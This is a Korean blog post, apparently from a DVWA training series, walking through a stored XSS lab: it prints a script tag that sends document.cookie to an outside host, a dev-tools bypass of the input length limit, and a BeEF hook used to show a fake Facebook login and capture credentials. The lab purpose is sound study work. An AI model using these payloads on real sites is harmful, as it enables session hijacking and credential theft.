XSS(Stored)

2023. 8. 18. 13:39보안/DVWA

XSS(Stored)

악의적인 스크립트가 서버에 저장되어, 다른 사용자가 해당 스크립트를 실행하도록 할 때 발생한다. 예를 들어, 게시판에 악성 스크립트가 저장되어 사용자가 해당 게시글을 열 때 스크립트가 실행된다.

 

 

실습

Low 레벨을 도전해보자!

<script>document.location='http://192.168.2.14/cookie?'+document.cookie</script>

을 Message에 입력하려고 하는데 글자 수에 제한이 있는지 모두 입력되지 않는 것을 확인할 수 있다.

F12를 클릭하여 글자 수 제한을 풀어보자.

위와 같이 빨간 상자를 클릭한 후, Message에 해당하는 박스를 클리하면 html을 수정할 수 있다.

 

 

maxlength="100"으로 수정한 후 다시 내용을 입력해보자.

이제 잘 입력된다

 

 

본격적으로 쿠키 정보를 취득하기 위해 칼리에서 로그를 감시하고 있자.

로그 감시

 

 

intercept를 on으로 켜고 게시물을 올리면 두 번 캡쳐된다. 각각 Forward 시키자.

두 번째 캡처에서 쿠키정보가 획득된 것을 확인할 수 있다

 

 

마지막까지 Forward 시키면 쿠키정보가 log에 생겼음을 확인할 수 있다

 

 

BeEF 설치 패키지

apt -y install beef-xss

 

 

설정

실행하면 디폴트 아이디 비밀번호를 사용하지 말라고 한다. 이를 위해

vi /etc/beef-xss/config.yaml

에서 아이디 비밀번호를 바꿔주자.

기존에는 아이디 비밀번호 모두 beef였다

 

 

실행

cd /usr/share/beef-xss

./beef

 

 

실행 후 웹에서 수정한 아이디 비밀번호로 접속한다.

주소는 위와 같다

 

 

접속 화면

 

 

XSS(Stored)에서

<script src="http://192.168.2.14:3000/hook.js"></script>

을 내용으로 게시물을 올리면 아래와 같이 잡힌다.

pretty Theft를 검색해서 Dialog Type에서 Facebook을 선택하고, 우하단 빨간박스 부분의 Execute를 실행하자

 

 

상대방이 페이스북에서 로그인하면 아이디와 비밀번호를 취득할 수 있다

 

'보안 > DVWA' 카테고리의 다른 글

SQL Injection(Blind)  (0) 2023.08.18
XSS(Reflected)  (0) 2023.08.18
SQL Injection  (0) 2023.08.17
File Upload  (0) 2023.08.17
File Inclusion  (0) 2023.08.17